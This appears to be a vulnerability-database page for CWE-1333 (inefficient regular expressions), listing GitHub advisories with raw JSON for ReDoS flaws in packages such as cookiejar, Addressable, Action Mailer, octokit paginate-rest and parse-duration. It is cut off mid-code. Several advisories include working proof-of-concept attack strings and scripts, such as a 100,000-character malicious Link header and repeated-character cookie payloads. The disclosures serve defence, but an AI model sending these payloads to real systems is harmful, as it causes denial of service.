CWE-1333
AllowedInefficient Regular Expression Complexity
Abstraction: Base · Status: Draft
The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.
727 vulnerabilities reference this CWE, most recent first.
GHSA-GQV6-F424-3G7H
Vulnerability from github – Published: 2024-02-16 09:30 – Updated: 2024-08-23 00:31An issue in alanclarke URLite v.3.1.0 allows an attacker to cause a denial of service (DoS) via a crafted payload to the parsing function.
{
"affected": [],
"aliases": [
"CVE-2023-51931"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-20"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-16T09:15:08Z",
"severity": "HIGH"
},
"details": "An issue in alanclarke URLite v.3.1.0 allows an attacker to cause a denial of service (DoS) via a crafted payload to the parsing function.",
"id": "GHSA-gqv6-f424-3g7h",
"modified": "2024-08-23T00:31:37Z",
"published": "2024-02-16T09:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51931"
},
{
"type": "WEB",
"url": "https://github.com/alanclarke/urlite/issues/61"
},
{
"type": "WEB",
"url": "https://gist.github.com/6en6ar/c792d8337b63f095cbda907e834cb4ba"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GWRP-82JW-P87Q
Vulnerability from github – Published: 2024-04-30 15:30 – Updated: 2024-07-03 18:37An issue in OpenStack Storlets yoga-eom allows a remote attacker to execute arbitrary code via the gateway.py component.
{
"affected": [],
"aliases": [
"CVE-2024-28716"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-30T15:15:52Z",
"severity": "HIGH"
},
"details": "An issue in OpenStack Storlets yoga-eom allows a remote attacker to execute arbitrary code via the gateway.py component.",
"id": "GHSA-gwrp-82jw-p87q",
"modified": "2024-07-03T18:37:40Z",
"published": "2024-04-30T15:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28716"
},
{
"type": "WEB",
"url": "https://bugs.launchpad.net/solum/+bug/2047505"
},
{
"type": "WEB",
"url": "https://drive.google.com/file/d/11x-6CjWCyap8_W1JpVzun56HQkPNLtWT/view?usp=drive_link"
},
{
"type": "WEB",
"url": "https://gist.github.com/Fewword/f098d8d6375ac25e27b18c0e57be532f"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H27X-RFFW-24P4
Vulnerability from github – Published: 2026-04-08 00:05 – Updated: 2026-05-13 16:20Impact
Within the URI template implementation in Addressable, two classes of URI template generate regular expressions vulnerable to catastrophic backtracking:
- Templates using the
*(explode) modifier with any expansion operator (e.g.,{foo*},{+var*},{#var*},{/var*},{.var*},{;var*},{?var*},{&var*}) generate patterns with nested unbounded quantifiers that are O(2^n) when matched against a maliciously crafted URI. - Templates using multiple variables with the
+or#operators (e.g.,{+v1,v2,v3}) generate patterns with O(n^k) complexity due to the comma separator being within the matched character class, causing ambiguous backtracking across k variables.
When matched against a maliciously crafted URI, this can result in catastrophic backtracking and uncontrolled resource consumption, leading to denial of service. The first pattern was partially addressed in 2.8.10 for certain operator combinations. Both patterns are fully remediated in 2.9.0.
Users of the URI parsing capabilities in Addressable but not the URI template matching capabilities are unaffected.
Affected Versions
This vulnerability affects Addressable >= 2.3.0 (note: 2.3.0 and 2.3.1 were yanked; the earliest installable release is 2.3.2). It was partially fixed in version 2.8.10 and fully remediated in 2.9.0.
The vulnerability is more exploitable on MRI Ruby < 3.2 and on all versions of JRuby and TruffleRuby. MRI Ruby 3.2 and later ship with Onigmo 6.9, which introduces memoization that prevents catastrophic backtracking for the first class of template. JRuby and TruffleRuby do not implement equivalent memoization and remain vulnerable to all patterns.
This has been confirmed on the following runtimes:
| Runtime | Status |
|---|---|
| MRI Ruby 2.6 | Vulnerable |
| MRI Ruby 2.7 | Vulnerable |
| MRI Ruby 3.0 | Vulnerable |
| MRI Ruby 3.1 | Vulnerable |
| MRI Ruby 3.2 | Partially vulnerable |
| MRI Ruby 3.3 | Partially vulnerable |
| MRI Ruby 3.4 | Partially vulnerable |
| MRI Ruby 4.0 | Partially vulnerable |
| JRuby 10.0 | Vulnerable |
| TruffleRuby 21.2 | Vulnerable |
Workarounds
-
Upgrade to MRI Ruby 3.2 or later, if your application does not use JRuby or TruffleRuby. The Onigmo memoization introduced in MRI Ruby 3.2 prevents catastrophic backtracking from nested unbounded quantifiers (pattern 1 above — templates using the
*modifier). It does not reliably mitigate the O(n^k) multi-variable case (pattern 2), so upgrading Ruby alone may not be sufficient if your templates use{+v1,v2,...}or{#v1,v2,...}syntax. -
Avoid using vulnerable template patterns when matching user-supplied input on unpatched versions of the library:
- Templates using the
*(explode) modifier:{foo*},{+var*},{#var*},{.var*},{/var*},{;var*},{?var*},{&var*} -
Templates using multiple variables with the
+or#operators:{+v1,v2},{#v1,v2,v3}, etc. -
Apply a short timeout around any call to
Template#matchorTemplate#extractthat processes user-supplied data.
References
- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
- https://cwe.mitre.org/data/definitions/1333.html
- https://www.regular-expressions.info/catastrophic.html
Credits
Discovered in collaboration with @jamfish.
For more information
If you have any questions or comments about this advisory: * Open an issue
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "addressable"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35611"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T00:05:27Z",
"nvd_published_at": "2026-04-07T17:16:35Z",
"severity": "HIGH"
},
"details": "### Impact\n\nWithin the URI template implementation in Addressable, two classes of URI template generate regular expressions vulnerable to catastrophic backtracking:\n\n1. Templates using the `*` (explode) modifier with any expansion operator (e.g., `{foo*}`, `{+var*}`, `{#var*}`, `{/var*}`, `{.var*}`, `{;var*}`, `{?var*}`, `{\u0026var*}`) generate patterns with nested unbounded quantifiers that are O(2^n) when matched against a maliciously crafted URI.\n2. Templates using multiple variables with the `+` or `#` operators (e.g., `{+v1,v2,v3}`) generate patterns with O(n^k) complexity due to the comma separator being within the matched character class, causing ambiguous backtracking across k variables.\n\nWhen matched against a maliciously crafted URI, this can result in catastrophic backtracking and uncontrolled resource consumption, leading to denial of service. The first pattern was partially addressed in 2.8.10 for certain operator combinations. Both patterns are fully remediated in 2.9.0.\n\nUsers of the URI parsing capabilities in Addressable but not the URI template matching capabilities are unaffected.\n\n### Affected Versions\n\nThis vulnerability affects Addressable \u003e= 2.3.0 (note: 2.3.0 and 2.3.1 were yanked; the earliest installable release is 2.3.2). It was partially fixed in version 2.8.10 and fully remediated in 2.9.0.\n\nThe vulnerability is more exploitable on MRI Ruby \u003c 3.2 and on all versions of JRuby and TruffleRuby. MRI Ruby 3.2 and later ship with Onigmo 6.9, which introduces memoization that prevents catastrophic backtracking for the first class of template. JRuby and TruffleRuby do not implement equivalent memoization and remain vulnerable to all patterns.\n\nThis has been confirmed on the following runtimes:\n\n| Runtime | Status |\n|---------|--------|\n| MRI Ruby 2.6 | Vulnerable |\n| MRI Ruby 2.7 | Vulnerable |\n| MRI Ruby 3.0 | Vulnerable |\n| MRI Ruby 3.1 | Vulnerable |\n| MRI Ruby 3.2 | Partially vulnerable |\n| MRI Ruby 3.3 | Partially vulnerable |\n| MRI Ruby 3.4 | Partially vulnerable |\n| MRI Ruby 4.0 | Partially vulnerable |\n| JRuby 10.0 | Vulnerable |\n| TruffleRuby 21.2 | Vulnerable |\n\n### Workarounds\n\n- **Upgrade to MRI Ruby 3.2 or later**, if your application does not use JRuby or TruffleRuby. The Onigmo memoization introduced in MRI Ruby 3.2 prevents catastrophic backtracking from nested unbounded quantifiers (pattern 1 above \u2014 templates using the `*` modifier). It does not reliably mitigate the O(n^k) multi-variable case (pattern 2), so upgrading Ruby alone may not be sufficient if your templates use `{+v1,v2,...}` or `{#v1,v2,...}` syntax.\n\n- **Avoid using vulnerable template patterns** when matching user-supplied input on unpatched versions of the library:\n - Templates using the `*` (explode) modifier: `{foo*}`, `{+var*}`, `{#var*}`, `{.var*}`, `{/var*}`, `{;var*}`, `{?var*}`, `{\u0026var*}`\n - Templates using multiple variables with the `+` or `#` operators: `{+v1,v2}`, `{#v1,v2,v3}`, etc.\n\n- **Apply a short timeout** around any call to `Template#match` or `Template#extract` that processes user-supplied data.\n\n### References\n\n- https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n- https://cwe.mitre.org/data/definitions/1333.html\n- https://www.regular-expressions.info/catastrophic.html\n\n### Credits\n\nDiscovered in collaboration with @jamfish.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* [Open an issue](https://github.com/sporkmonger/addressable/issues)",
"id": "GHSA-h27x-rffw-24p4",
"modified": "2026-05-13T16:20:52Z",
"published": "2026-04-08T00:05:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sporkmonger/addressable/security/advisories/GHSA-h27x-rffw-24p4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35611"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/addressable/CVE-2026-35611.yml"
},
{
"type": "PACKAGE",
"url": "https://github.com/sporkmonger/addressable"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Addressable has a Regular Expression Denial of Service in Addressable templates"
}
GHSA-H2GH-PW44-5QF5
Vulnerability from github – Published: 2023-08-25 03:30 – Updated: 2024-04-04 07:12Regular expression Denial-of-Service (ReDoS) exists in multiple add-ons for Mailform Pro CGI 4.3.1.3 and earlier, which allows a remote unauthenticated attacker to cause a denial-of-service condition. Affected add-ons are as follows: call/call.js, prefcodeadv/search.cgi, estimate/estimate.js, search/search.js, suggest/suggest.js, and coupon/coupon.js.
{
"affected": [],
"aliases": [
"CVE-2023-40599"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-25T03:15:08Z",
"severity": "HIGH"
},
"details": "Regular expression Denial-of-Service (ReDoS) exists in multiple add-ons for Mailform Pro CGI 4.3.1.3 and earlier, which allows a remote unauthenticated attacker to cause a denial-of-service condition. Affected add-ons are as follows: call/call.js, prefcodeadv/search.cgi, estimate/estimate.js, search/search.js, suggest/suggest.js, and coupon/coupon.js.",
"id": "GHSA-h2gh-pw44-5qf5",
"modified": "2024-04-04T07:12:02Z",
"published": "2023-08-25T03:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40599"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN86484824"
},
{
"type": "WEB",
"url": "https://www.synck.com/blogs/news/newsroom/detail_1691668841.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H452-7996-H45H
Vulnerability from github – Published: 2023-01-18 06:31 – Updated: 2025-02-13 18:36Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.
Proof of concept:
ts\nconst { CookieJar } = require("cookiejar");
const jar = new CookieJar();
const start = performance.now();
const attack = "a" + "t".repeat(50_000);
jar.setCookie(attack);
console.log(`CookieJar.setCookie(): ${performance.now() - start}ms`);
CookieJar.setCookie(): 2963.214399999939ms
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "cookiejar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.webjars.npm:cookiejar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-25901"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2023-01-23T16:59:52Z",
"nvd_published_at": "2023-01-18T05:15:00Z",
"severity": "MODERATE"
},
"details": "Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `Cookie.parse` function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.\n\nProof of concept:\n\n```\nts\\nconst { CookieJar } = require(\"cookiejar\");\n\nconst jar = new CookieJar();\n\nconst start = performance.now();\n\nconst attack = \"a\" + \"t\".repeat(50_000);\njar.setCookie(attack);\n\nconsole.log(`CookieJar.setCookie(): ${performance.now() - start}ms`);\n\n```\n\n```\nCookieJar.setCookie(): 2963.214399999939ms\n```",
"id": "GHSA-h452-7996-h45h",
"modified": "2025-02-13T18:36:34Z",
"published": "2023-01-18T06:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25901"
},
{
"type": "WEB",
"url": "https://github.com/bmeck/node-cookiejar/pull/39"
},
{
"type": "WEB",
"url": "https://github.com/bmeck/node-cookiejar/pull/39/commits/eaa00021caf6ae09449dde826108153b578348e5"
},
{
"type": "PACKAGE",
"url": "https://github.com/bmeck/node-cookiejar"
},
{
"type": "WEB",
"url": "https://github.com/bmeck/node-cookiejar/blob/master/cookiejar.js#23L73"
},
{
"type": "WEB",
"url": "https://github.com/bmeck/node-cookiejar/blob/master/cookiejar.js%23L73"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/09/msg00008.html"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-3176681"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-COOKIEJAR-3149984"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "cookiejar Regular Expression Denial of Service via Cookie.parse function"
}
GHSA-H453-7RRX-Q6J5
Vulnerability from github – Published: 2024-05-14 15:32 – Updated: 2024-05-14 15:32An issue has been discovered in GitLab CE/EE affecting all versions starting from 16.11 prior to 16.11.2. A problem with the processing logic for Google Chat Messages integration may lead to a regular expression DoS attack on the server.
{
"affected": [],
"aliases": [
"CVE-2023-6688"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-14T14:35:33Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab CE/EE affecting all versions starting from 16.11 prior to 16.11.2. A problem with the processing logic for Google Chat Messages integration may lead to a regular expression DoS attack on the server.",
"id": "GHSA-h453-7rrx-q6j5",
"modified": "2024-05-14T15:32:51Z",
"published": "2024-05-14T15:32:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6688"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2270362"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/434854"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H47H-MWP9-C6Q6
Vulnerability from github – Published: 2024-10-15 23:35 – Updated: 2025-01-07 21:47There is a possible ReDoS vulnerability in the block_format helper in Action Mailer. This vulnerability has been assigned the CVE identifier CVE-2024-47889.
Impact
Carefully crafted text can cause the block_format helper to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.
Ruby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 requires Ruby 3.2 or greater so is unaffected.
Releases
The fixed releases are available at the normal locations.
Workarounds
Users can avoid calling the block_format helper or upgrade to Ruby 3.2
Credits
Thanks to yuki_osaki for the report!
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "actionmailer"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "6.1.7.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "actionmailer"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.0.8.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "actionmailer"
},
"ranges": [
{
"events": [
{
"introduced": "7.1.0"
},
{
"fixed": "7.1.4.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "actionmailer"
},
"ranges": [
{
"events": [
{
"introduced": "7.2.0"
},
{
"fixed": "7.2.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-47889"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-15T23:35:38Z",
"nvd_published_at": "2024-10-16T21:15:13Z",
"severity": "MODERATE"
},
"details": "There is a possible ReDoS vulnerability in the block_format helper in Action Mailer. This vulnerability has been assigned the CVE identifier CVE-2024-47889.\n\nImpact\n------\n\nCarefully crafted text can cause the block_format helper to take an unexpected amount of time, possibly resulting in a DoS vulnerability. All users running an affected release should either upgrade or apply the relevant patch immediately.\n\nRuby 3.2 has mitigations for this problem, so Rails applications using Ruby 3.2 or newer are unaffected. Rails 8.0.0.beta1 requires Ruby 3.2 or greater so is unaffected.\n\n\nReleases\n--------\nThe fixed releases are available at the normal locations.\n\nWorkarounds\n-----------\nUsers can avoid calling the `block_format` helper or upgrade to Ruby 3.2\n\nCredits\n-------\n\nThanks to yuki_osaki for the report!",
"id": "GHSA-h47h-mwp9-c6q6",
"modified": "2025-01-07T21:47:36Z",
"published": "2024-10-15T23:35:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rails/rails/security/advisories/GHSA-h47h-mwp9-c6q6"
},
{
"type": "PACKAGE",
"url": "https://github.com/rails/rails"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionmailer/CVE-2024-47889.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Possible ReDoS vulnerability in block_format in Action Mailer"
}
GHSA-H5C3-5R3R-RR8Q
Vulnerability from github – Published: 2025-02-14 17:57 – Updated: 2025-02-18 19:15Summary
For the npm package @octokit/plugin-paginate-rest, when calling octokit.paginate.iterator(), a specially crafted octokit instance—particularly with a malicious link parameter in the headers section of the request—can trigger a ReDoS attack.
Details
The issue occurs at line 39 of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:
url = ((normalizedResponse.headers.link || "").match(
/<([^>]+)>;\s*rel="next"/,
) || [])[1];
The regular expression /<([^>]+)>;\s*rel="next"/ may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially crafted Link headers.
PoC
The gist of PoC.js 1. run npm i @octokit/plugin-paginate-rest 2. run 'node poc.js' result: 3. then the program will stuck forever with high CPU usage
import { Octokit } from "@octokit/core";
import { paginateRest } from "@octokit/plugin-paginate-rest";
const MyOctokit = Octokit.plugin(paginateRest);
const octokit = new MyOctokit({
auth: "your-github-token",
});
// Intercept the request to inject a malicious 'link' header for ReDoS
octokit.hook.wrap("request", async (request, options) => {
const maliciousLinkHeader = "" + "<".repeat(100000) + ">"; // attack string
return {
data: [],
headers: {
link: maliciousLinkHeader, // Inject malicious 'link' header
},
};
});
// Trigger the ReDoS attack by paginating through GitHub issues
(async () => {
try {
for await (const normalizedResponse of octokit.paginate.iterator(
"GET /repos/{owner}/{repo}/issues", { owner: "DayShift", repo: "ReDos", per_page: 100 }
)) {
console.log({ normalizedResponse });
}
} catch (error) {
console.error("Error encountered:", error);
}
})();
Impact
What kind of vulnerability is it?
This is a Regular Expression Denial of Service (ReDoS) vulnerability, which occurs due to excessive backtracking in the regex pattern:
/<([^>]+)>;\s*rel="next"/
When processing a specially crafted Link header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.
Who is impacted?
- Users of
@octokit/plugin-paginate-restwho calloctokit.paginate.iterator()and process untrusted or manipulatedLinkheaders. - Applications relying on Octokit's pagination mechanism, particularly those handling large volumes of API requests.
- GitHub API consumers who integrate this package into their projects for paginated data retrieval.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@octokit/plugin-paginate-rest"
},
"ranges": [
{
"events": [
{
"introduced": "9.3.0-beta.1"
},
{
"fixed": "11.4.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@octokit/plugin-paginate-rest"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "9.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-25288"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-14T17:57:59Z",
"nvd_published_at": "2025-02-14T20:15:34Z",
"severity": "MODERATE"
},
"details": "### Summary\nFor the npm package `@octokit/plugin-paginate-rest`, when calling `octokit.paginate.iterator()`, a specially crafted `octokit` instance\u2014particularly with a malicious `link` parameter in the `headers` section of the `request`\u2014can trigger a ReDoS attack.\n\n### Details\nThe issue occurs at [line 39](https://github.com/octokit/plugin-paginate-rest.js/blob/main/src/iterator.ts) of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:\n```js\nurl = ((normalizedResponse.headers.link || \"\").match(\n /\u003c([^\u003e]+)\u003e;\\s*rel=\"next\"/,\n) || [])[1];\n```\nThe regular expression `/\u003c([^\u003e]+)\u003e;\\s*rel=\"next\"/` may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially crafted `Link` headers.\n\n### PoC\n[The gist of PoC.js](https://gist.github.com/ShiyuBanzhou/d3f2ad000be8384d2105c87c2ed7ce7d)\n1. run npm i @octokit/plugin-paginate-rest\n2. run \u0027node poc.js\u0027\nresult:\n3. then the program will stuck forever with high CPU usage\n```js\nimport { Octokit } from \"@octokit/core\";\nimport { paginateRest } from \"@octokit/plugin-paginate-rest\";\n\nconst MyOctokit = Octokit.plugin(paginateRest);\nconst octokit = new MyOctokit({\n auth: \"your-github-token\",\n});\n\n// Intercept the request to inject a malicious \u0027link\u0027 header for ReDoS\noctokit.hook.wrap(\"request\", async (request, options) =\u003e {\n const maliciousLinkHeader = \"\" + \"\u003c\".repeat(100000) + \"\u003e\"; // attack string\n return {\n data: [],\n headers: {\n link: maliciousLinkHeader, // Inject malicious \u0027link\u0027 header\n },\n };\n});\n\n// Trigger the ReDoS attack by paginating through GitHub issues\n(async () =\u003e {\n try {\n for await (const normalizedResponse of octokit.paginate.iterator(\n \"GET /repos/{owner}/{repo}/issues\", { owner: \"DayShift\", repo: \"ReDos\", per_page: 100 }\n )) {\n console.log({ normalizedResponse });\n }\n } catch (error) {\n console.error(\"Error encountered:\", error);\n }\n})();\n```\n\n\n### Impact\n#### What kind of vulnerability is it?\nThis is a *Regular Expression Denial of Service (ReDoS) vulnerability*, which occurs due to excessive backtracking in the regex pattern:\n```js\n/\u003c([^\u003e]+)\u003e;\\s*rel=\"next\"/\n```\nWhen processing a specially crafted `Link` header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.\n#### Who is impacted?\n* Users of `@octokit/plugin-paginate-rest` who call `octokit.paginate.iterator()` and process untrusted or manipulated `Link` headers.\n* Applications relying on Octokit\u0027s pagination mechanism, particularly those handling large volumes of API requests.\n* GitHub API consumers who integrate this package into their projects for paginated data retrieval.",
"id": "GHSA-h5c3-5r3r-rr8q",
"modified": "2025-02-18T19:15:03Z",
"published": "2025-02-14T17:57:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/octokit/plugin-paginate-rest.js/security/advisories/GHSA-h5c3-5r3r-rr8q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25288"
},
{
"type": "WEB",
"url": "https://github.com/octokit/plugin-paginate-rest.js/commit/bb6c4f945d8023902cf387391d2b2209261044ab"
},
{
"type": "PACKAGE",
"url": "https://github.com/octokit/plugin-paginate-rest.js"
},
{
"type": "WEB",
"url": "https://github.com/octokit/plugin-paginate-rest.js/blob/main/src/iterator.ts"
},
{
"type": "WEB",
"url": "https://github.com/octokit/plugin-paginate-rest.js/releases/tag/v9.2.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "@octokit/plugin-paginate-rest has a Regular Expression in iterator Leads to ReDoS Vulnerability Due to Catastrophic Backtracking"
}
GHSA-HCQ4-PVMG-M2GP
Vulnerability from github – Published: 2024-06-01 18:30 – Updated: 2025-01-30 15:31A Regular Expression Denial of Service (ReDoS) vulnerability exists in the lunary-ai/lunary application, version 1.2.10. An attacker can exploit this vulnerability by maliciously manipulating regular expressions, which can significantly impact the response time of the application and potentially render it completely non-functional. Specifically, the vulnerability can be triggered by sending a specially crafted request to the application, leading to a denial of service where the application crashes.
{
"affected": [],
"aliases": [
"CVE-2024-4148"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-01T16:15:07Z",
"severity": "HIGH"
},
"details": "A Regular Expression Denial of Service (ReDoS) vulnerability exists in the lunary-ai/lunary application, version 1.2.10. An attacker can exploit this vulnerability by maliciously manipulating regular expressions, which can significantly impact the response time of the application and potentially render it completely non-functional. Specifically, the vulnerability can be triggered by sending a specially crafted request to the application, leading to a denial of service where the application crashes.",
"id": "GHSA-hcq4-pvmg-m2gp",
"modified": "2025-01-30T15:31:36Z",
"published": "2024-06-01T18:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4148"
},
{
"type": "WEB",
"url": "https://github.com/lunary-ai/lunary/commit/1e8a3d941ba5cfef2c478dd5bac4e4a4b4d67830"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/eca4ad45-2a38-4f3c-9ec1-8205cd51be31"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HCRG-FC28-FCG5
Vulnerability from github – Published: 2025-02-12 19:45 – Updated: 2025-02-12 21:35Summary
This report finds 2 availability issues due to the regex used in the parse-duration npm package:
1. An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively.
2. An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters.
PoC
Refer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:
// Vulnerable regex to use from the library:
import parse from './index.js'
function generateStressTestString(length, decimalProbability) {
let result = "";
for (let i = 0; i < length; i++) {
if (Math.random() < decimalProbability) {
result += "....".repeat(99);
}
result += Math.floor(Math.random() * 10);
}
return result;
}
function getStringSizeInMB_UTF8(str) {
const sizeInBytes = Buffer.byteLength(str, 'utf8');
const sizeInMB = sizeInBytes / (1024 * 1024);
return sizeInMB;
}
// Generate test strings with varying length and decimal probability:
const longString1 = generateStressTestString(380, 0.05);
const longString2 = generateStressTestString(10000, 0.9);
const longString3 = generateStressTestString(500000, 1);
const longStringVar1 = '-1e' + '-----'.repeat(915000)
const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000)
function testRegex(str) {
const startTime = performance.now();
// one of the regex's used in the library:
// const durationRE = /(-?(?:\d+\.?\d*|\d*\.?\d+)(?:e[-+]?\d+)?)\s*([\p{L}]*)/giu;
// const match = durationRE.test(str);
// but we will use the exported library code directly:
const match = parse(str);
const endTime = performance.now();
const timeTaken = endTime - startTime;
return { timeTaken, match };
}
// Test the long strings:
let result = {}
{
console.log(
`\nRegex test on string of length ${longString1.length} (size: ${getStringSizeInMB_UTF8(longString1).toFixed(2)} MB):`
);
result = testRegex(longString1);
console.log(
` matched: ${result.match}, time taken: ${result.timeTaken}ms`
);
}
{
console.log(
`\nRegex test on string of length ${longString2.length} (size: ${getStringSizeInMB_UTF8(longString2).toFixed(2)} MB):`
);
result = testRegex(longString2 + "....".repeat(100) + "5сек".repeat(9000));
console.log(
` matched: ${result.match}, time taken: ${result.timeTaken}ms`
);
}
{
console.log(
